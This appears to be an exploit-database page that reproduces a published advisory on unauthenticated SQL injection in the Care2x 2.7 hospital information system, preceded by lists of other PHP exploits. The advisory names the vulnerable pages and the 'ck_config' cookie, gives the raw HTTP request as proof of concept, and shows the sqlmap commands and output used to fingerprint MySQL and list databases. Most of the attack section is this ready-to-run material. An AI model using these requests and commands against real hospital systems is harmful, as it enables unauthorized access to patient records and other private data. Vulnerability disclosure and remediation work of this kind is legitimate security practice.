Menu

Improved exploit search engine. Try it out

"Care2x 2.7 (HIS) Hospital Information System - Multiple SQL Injection"

Author

"Carlos Avila"

Platform

php

Release date

2019-01-28

Release Date Title Type Platform Author
2019-07-15 "FlightPath < 4.8.2 / < 5.0-rc2 - Local File Inclusion" webapps php "Mohammed Althibyani"
2019-07-12 "MyT Project Management 1.5.1 - User[username] Persistent Cross-Site Scripting" webapps php "Metin Yunus Kandemir"
2019-07-08 "WordPress Plugin Like Button 1.6.0 - Authentication Bypass" webapps php "Benjamin Lim"
2019-07-08 "Karenderia Multiple Restaurant System 5.3 - SQL Injection" webapps php "Mehmet EMIROGLU"
2019-07-05 "Karenderia Multiple Restaurant System 5.3 - Local File Inclusion" webapps php "Mehmet EMIROGLU"
2019-07-02 "Centreon 19.04 - Remote Code Execution" webapps php Askar
2019-07-01 "ZoneMinder 1.32.3 - Cross-Site Scripting" webapps php "Joey Lane"
2019-07-01 "CiuisCRM 1.6 - 'eventType' SQL Injection" webapps php "Mehmet EMIROGLU"
2019-07-01 "WorkSuite PRM 2.4 - 'password' SQL Injection" webapps php "Mehmet EMIROGLU"
2019-06-28 "LibreNMS 1.46 - 'addhost' Remote Code Execution" webapps php Askar
2019-06-25 "WordPress Plugin Live Chat Unlimited 2.8.3 - Cross-Site Scripting" webapps php m0ze
2019-06-25 "WordPress Plugin iLive 1.0.4 - Cross-Site Scripting" webapps php m0ze
2019-06-25 "AZADMIN CMS 1.0 - SQL Injection" webapps php "felipe andrian"
2019-06-24 "SeedDMS versions < 5.1.11 - Remote Command Execution" webapps php "Nimit Jain"
2019-06-24 "SeedDMS < 5.1.11 - 'out.GroupMgr.php' Cross-Site Scripting" webapps php "Nimit Jain"
2019-06-24 "SeedDMS < 5.1.11 - 'out.UsrMgr.php' Cross-Site Scripting" webapps php "Nimit Jain"
2019-06-24 "dotProject 2.1.9 - SQL Injection" webapps php "Metin Yunus Kandemir"
2019-06-20 "WebERP 4.15 - SQL injection" webapps php "Semen Alexandrovich Lyhin"
2019-06-17 "AROX School-ERP Pro - Unauthenticated Remote Command Execution (Metasploit)" remote php AkkuS
2019-06-12 "FusionPBX 4.4.3 - Remote Command Execution" webapps php "Dustin Cobb"
2019-06-11 "phpMyAdmin 4.8 - Cross-Site Request Forgery" webapps php Riemann
2019-06-11 "WordPress Plugin Insert or Embed Articulate Content into WordPress - Remote Code Execution" webapps php xulchibalraa
2019-06-10 "UliCMS 2019.1 'Spitting Lama' - Persistent Cross-Site Scripting" webapps php Unk9vvN
2019-06-04 "IceWarp 10.4.4 - Local File Inclusion" webapps php JameelNabbo
2019-06-03 "WordPress Plugin Form Maker 1.13.3 - SQL Injection" webapps php "Daniele Scanu"
2019-06-03 "KACE System Management Appliance (SMA) < 9.0.270 - Multiple Vulnerabilities" webapps php SlidingWindow
2019-05-29 "pfSense 2.4.4-p3 (ACME Package 0.59_14) - Persistent Cross-Site Scripting" webapps php "Chi Tran"
2019-05-24 "Opencart 3.0.3.2 - 'extension/feed/google_base' Denial of Service PoC" webapps php "Todor Donev"
2019-05-23 "Nagios XI 5.6.1 - SQL injection" webapps php JameelNabbo
2019-05-22 "Horde Webmail 5.2.22 - Multiple Vulnerabilities" webapps php InfinitumIT
Release Date Title Type Platform Author
2019-02-21 "C4G Basic Laboratory Information System (BLIS) 3.4 - SQL Injection" webapps php "Carlos Avila"
2019-01-28 "Care2x 2.7 (HIS) Hospital Information System - Multiple SQL Injection" webapps php "Carlos Avila"
2018-11-06 "LibreHealth 2.0.0 - Arbitrary File Actions" webapps php "Carlos Avila"
2018-09-07 "Softneta MedDream PACS Server Premium 6.7.1.1 - Directory Traversal" webapps php "Carlos Avila"
2018-09-07 "MedDream PACS Server Premium 6.7.1.1 - 'email' SQL Injection" webapps php "Carlos Avila"
2018-07-11 "Dicoogle PACS 2.5.0 - Directory Traversal" webapps multiple "Carlos Avila"
2018-01-28 "PACSOne Server 6.6.2 DICOM Web Viewer - SQL Injection" webapps php "Carlos Avila"
2018-01-28 "PACSOne Server 6.6.2 DICOM Web Viewer - Directory Trasversal" webapps php "Carlos Avila"
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/46268/?format=json')
                                                {"url": "https://www.nmmapper.com/api/exploitdetails/46268/?format=json", "download_file": "https://www.nmmapper.com/st/exploitdetails/46268/40745/care2x-27-his-hospital-information-system-multiple-sql-injection/download/", "exploit_id": "46268", "exploit_description": "\"Care2x 2.7 (HIS) Hospital Information System - Multiple SQL Injection\"", "exploit_date": "2019-01-28", "exploit_author": "\"Carlos Avila\"", "exploit_type": "webapps", "exploit_platform": "php", "exploit_port": null}
                                            

For full documentation follow the link above

blog comments powered by Disqus

Browse exploit DB API Browse

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
# Exploit Title: Care2x 2.7  (HIS) Hospital Information system - Multiples SQL Injection
# Date: 01/17/2019
# Software Links/Project: https://github.com/care2x/care2x | http://www.care2x.org/
# Version: Care2x 2.7
# Exploit Author: Carlos Avila
# Category: webapps
# Tested on: Windows 8.1 / Ubuntu Linux
# Contact: http://twitter.com/badboy_nt

1. Description
  
Care2x is PHP based Hospital Information system, It features complete clinical flow management, laboratory management, patient records, multi-user support with permissions, stock management and accounting and billing management, PACS integration and DICOM viewer. Care2x provides some other features as CCTV integration which has not been seen in other open source HIS.

This allows unauthenticated remote attacker to execute arbitrary SQL commands and obtain private information. Admin or users valid credentials aren't required. In a deeper analysis other pages are also affected with the vulnerability over the same input.

It written in PHP version 5.x, it is vulnerable to SQL Injection. The parameter on cookie 'ck_config' is vulnerable on multiples URLS occurrences, explains to continue:

http://192.168.0.108/main/login.php [parameter affected: ck_config cookie] (without authentication)


	/main/indexframe.php [parameter affected: ck_config cookie]
	/main/op-doku.php [parameter affected: ck_config cookie]
	/main/spediens.php [parameter affected: ck_config cookie]
	/modules/ambulatory/ambulatory.php [parameter affected: ck_config cookie]
	/modules/fotolab/fotolab_pass.php [parameter affected: ck_config cookie]
	/modules/laboratory/labor.php [parameter affected: ck_config cookie]
	/modules/med_depot/medlager.php [parameter affected: ck_config cookie]
	/modules/news/headline-read.php [parameter affected: nr parameter]
	/modules/news/newscolumns.php [parameter affected: dept_nr parameter]
	/modules/news/start_page.php [parameter affected: sid cookie]
	/modules/nursing/nursing-fastview.php [parameter affected: ck_config cookie]
	/modules/nursing/nursing-fastview.php [parameter affected: currYear parameter]
	/modules/nursing/nursing-patient-such-start.php [parameter affected: ck_config cookie]
	/modules/nursing/nursing-schnellsicht.php [parameter affected: ck_config cookie]
	/modules/registration_admission/patient_register_pass.php [parameter affected: ck_config cookie]


2. Proof of Concept

GET /main/login.php?ntid=false&lang=en HTTP/1.1
Host: 192.168.0.108
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.108/main/indexframe.php?boot=1&mask=&lang=en&cookie=&sid=6fclqapl9gsjhrcgoh3q0la5sp
Connection: close
Cookie: sid=6fclqapl9gsjhrcgoh3q0la5sp; ck_sid6fclqapl9gsjhrcgoh3q0la5sp=m14AAA%3D%3D%23WVUYpUnF%2Fo28ZWY45A5Sh9HMvr%2FZ8wVabFY%3D; ck_config=CFG5c414492459f90.28518700%201547781266
Upgrade-Insecure-Requests: 1


root@kali19:~#sqlmap -r SQLI-CARE2X --dbms mysql -f -v 2 --level 3 -p ck_config


[14:18:15] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[14:18:15] [INFO] testing MySQL
[14:18:16] [INFO] confirming MySQL
[14:18:19] [INFO] the back-end DBMS is MySQL
[14:18:19] [INFO] actively fingerprinting MySQL
[14:18:20] [INFO] executing MySQL comment injection fingerprint
[14:18:33] [DEBUG] turning off reflection removal mechanism (for optimization purposes)
web server operating system: Linux Ubuntu
web application technology: Nginx 1.14.0
back-end DBMS: active fingerprint: MySQL >= 5.7
               comment injection fingerprint: MySQL 5.7.24


root@kali19:~#sqlmap -r SQLI-CARE2X --dbms mysql -v 2 --level 3 -p ck_config --dbs

[20:09:33] [INFO] fetching database names
[20:09:33] [INFO] the SQL query used returns 4 entries
[20:09:33] [INFO] retrieved: information_schema
[20:09:33] [INFO] retrieved: care2x
[20:09:33] [DEBUG] performed 10 queries in 0.20 seconds
available databases [2]:
[*] care2x
[*] information_schema
[*] performance_schema
[*] mysql



3. Solution:

Application inputs must be validated correctly in all developed classes.